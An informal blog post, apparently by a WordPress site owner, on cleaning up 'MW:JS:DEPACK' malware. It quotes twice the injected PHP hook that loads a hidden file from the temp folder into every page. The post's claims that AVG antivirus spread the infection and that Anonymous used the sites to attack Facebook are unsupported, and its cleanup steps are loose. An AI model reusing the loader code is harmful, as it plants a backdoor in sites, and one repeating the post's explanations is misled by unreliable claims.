How to remove MW:JS:DEPACK malware.

If you are reading this your WordPress site has been hit by a malware attack and you probably got flagged by google too as an unsafe site. You can check your webmaster tools; this is what you will probably find

This is a java packing function that when is unpacked it looks like this

Notice the link and the iframe. The actual link may vary. This is what you have to do to remove the malware :

0. If you are a pro/guru/gosu coder with linux knowledge skip to step 9 if not continue reading

1. Stop pulling your hair trying to find the infected java (js) file. Thou sometimes that is the case (only a java file is infected and all you have to do is remove the code; malware has gotten smarter now).

2. Use your favorite ftp client and navigate to your wordrpess install root (my case /opt/lampp/www/genericsite.com )

3. Order files by modified and notice that your wp-settings.php file has been recently changed* (i will get back on how the file was changed)

4. Download the file open it in a simple wordpad editor and look for the following code

function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . ‘/wp_inc’)){
readfile($t_d . ‘/wp_inc’);
}
}
add_action(‘wp_head’, ‘check_wordpress’);

do_action( ‘init’ );

5. Remove the code and upload it to your server (overwrite the old one).

6. Open your site and view the source … the malware is gone.

7. Login to your Webmaster tools (google) and “Request a review”

8. Repeat these steps for infected wordpress sites and all should be fine BUT wait !

* You only fixed the site you did not eliminate the problem; that code

function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . ‘/wp_inc’)){
readfile($t_d . ‘/wp_inc’);
}
}
add_action(‘wp_head’, ‘check_wordpress’);

do_action( ‘init’ );

tells your wordpress site to look into you temporary folder for the file wp_inc and load it. What does the wp_inc file contain ? Well you guess it, it contains the malware code.

9. How do you remove the code and the file from the server ? Well SSH into you your machine using Putty or whatever you like best, login as root (su) and run MC (Midnight Commander) (if you dont have it on your linux server install it using “wget mc” or whatever the command is on your linux (i use a mandriva distro)
After you are in MC go at the top level and go to Command=> Find file => Filename : wp_inc Let MC look for it and when it finds it (in your /tmp folder, edit the file (F4) and delete the malware from it and save (F2).
(UPDATE 7 nov and CHMOD it to 444 -readonly as it might(it did in my case) get infected again if left 644)
And you are done ! Pat yourself on your shoulder for being a super admin :P

*How did the server (and wordpress install/installs) got infected ?
The answer is pretty complicated but i will give you the short answer ;
It can be one of 2 things :
a. You use AVG antivirus, got your pc somehow infected while having Filezila or whatever FTP client you use opened (running) and connected to your server; and AVG did the rest (infected the tmp folder on your server and your wp_settings file.
b. You used a template/theme/script/php file downloaded from SCRIPTMAFIA.ORG and obviously it was infected; I’m not saying pay TemplateMonster 50$ for a theme or whatever, but when you download RIP’ed files from Scriptmafia.org, have the decency of checking the code out :)

(it’s like having sex with a girl you just met… i’m not saying you should’nt F**k her without taking her to an expensive restaurant first, meeting her parents and waiting for 3 weeks; I’m saying use a Condom ! )

If this was helpful or made you smile, please share it on Facebook / Twiter / etc.. Thank You !

(update november 9 – who lead the attack and what was the point ? i’ll try to keep it short:
the attack was lead by an organization called Anonymus and the target was Facebook, but google stepped in and protected facebook by marking our sites as unsafe.
the attack was a ddos type attack and the mechanics of the attack were as follows => we got our servers (sites) infected => any visitor that would had accessed our site on 5 novemeber, would get an invisible iframe of a page that accessed the login api of facebook only at certain moments(!), so from facebooks perception, all the visitors of all our websites tried to login to facebook at the same time (second), causing a denial of service)